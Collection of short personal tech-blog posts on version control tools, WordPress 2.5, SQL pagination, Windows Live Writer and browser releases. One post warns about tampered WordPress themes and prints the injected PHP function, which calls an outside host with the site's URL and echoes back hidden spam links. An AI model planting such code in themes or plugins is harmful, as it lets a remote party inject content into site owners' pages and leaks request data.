Version Control was not a big thing as long as I was doing freelance development. But once I got into the process of working with a team I released that a Team programming without source control is useless.

I started using CVS with the WinCVS client .. Then moved on to use Sub Version with the TortoiseSVN client..

I spent most of the last 2 years in Microsoft world .. So Team Foundation Server was the system..

Right now IM on Ruby and we are using Perforce which is actually Damn Good !

Ther user interface is damn simple although it might look a bit funny.

Its one the systems used by development teams which work on various platforms ..

I can check in code from my windows box and get latest on my Linux box / server ..

This is really cool !!

This event happened on March 23rd at Amethyst Cafe, Off Peters Road

Kiruba named it Tweetup a

event wiki

I don’t use twitter that much but still Twitter has such a large user base .

It was fun meeting folks using the application

Gosh ! I finally managed to get the pics on Flickr ! check my twitter meet photo set Photos were captured by my Nokia N82 .. and damn IM not even there in a single pic !

Matt at ma.tt at Automattic are doing a great job with Wordpress

Wordpress 2.5 release candidate is out ..

IM a huge wordpress fan and user and any development in this area brings me a lot of joy

The latest release looks impressive..

A customizable dashboard, multi-file upload, built-in galleries, one-click plugin upgrades, tag management, built-in Gravatars, full text feeds, and faster load times sound interesting? Then WordPress 2.5 might be the release for you. It’s been in the oven for a while, and we’re finally ready to open the doors a bit to give you a taste.

Wow .. WP users cant ask for more .. Are you trying the RC1 ?

Some hot news for Microsoft Fans and Developers using the .Net platform. Microsoft is open sourcing .NET framework libraries.

http://weblogs.asp.net/scottgu/archive/2007/10/03/releasing-the-source-code-for-the-net-framework-libraries.aspx

Thousands of Wordpress.com bloggers can’t see their blogs online now.

Bala and Subbu’s blog’s are down

I actually found this problem when I was trying to read GigaOM

Was surprised to see that they are hosted on wordpress.com

Pagination is something we face eachtime when we build a web application. My project needed some kind of paging functionality last week and we were evaluating various options. I hate SQL Server for one reason and embrace MySQL for the ANSI defying LIMIT clause.

Pagination in MySQL is simply fun. Just say LIMIT starting record number,items per page and Voila you get the wanted result set.

Pagination in SQLServer is not that easy.You can however achieve paging using some work arounds like ROWORDER and ROWCOUNT in SQL Server

You need to be passing around the PrimaryKey and must sort the data based on the key for the pagination.You need to add a Numeric Primary Ke if your schema does not have one.

DataPager is a brilliant new Pagination Control available since .Net 3.5.

You can use it with the Repeater Control or the new ListView Control.

Its not like the DataGrid which uses tables for the markup. You can use  it with Divs.

I was playing with Microsoft Visual Web Developer 2008 Beta 2 when i found this control.

Head over here for a nice example 

I had downloaded a free theme after googling landed on templatesbrowser.com

The name might sound genuine. But beware they are a bunch of b@stards trying to place hidden links on all downloaded themes.

The theme available for download in the orginal site and at http://www.templatesbrowser.com/wordpress-themes/ have only one function in the code base different

function credits()
{
$URL = “http://get.templatesbrowser.com/wp.php?” . “URL=” . urlencode($_SERVER[’REQUEST_URI’]) . “&” . “host=” . urlencode($_SERVER[’HTTP_HOST’]);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($URL);
fclose($check);
}
}

If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:

This produces a link at the bottom of every WordPress page, that is invisible for human readers, Which is an SEO backhat technique

By using such a wordpress theme you are going to be supporting spammers and sooner or later your site might loose its Search Engine presence even if its a high quality site.

So even if you lazy to build a wordpress theme from scratch , make sure to check the output markup so that you are not caught in a trap.

I had a narrow escape thanks to :- http://www.onnoot.com

Windows Live Writer is a really cool tool from Microsoft that lets you blog from your desktop.I have been very lazy to update my blog for the following reasons

• I have my blog open inside a browser tab in the middle of many other tabs..when I come across something interesting on some other site, I just don’t feel like updating my blog.
• I decided to give Desktop blogging a shot

Lets see how it goes.Windows Live Writer looks really a good blogging client.

Windows Server 2003 is old . Over 4 years old. Looks like the folks at Microsoft are testing out Windows Server 2008 at their main site
This was the info i got from the HTTP response of the site


X-AspNet-Version 2.0.50727
Windows Server 2008 Microsoft-IIS/7.0


Safari 3 Public Beta for Windows XP/Vista and Mac is available for download

head straight to the safari download page

The WinXP install is about 8MB

Can’t wait to try out the new browser.

Wow the competition can’t get any hotter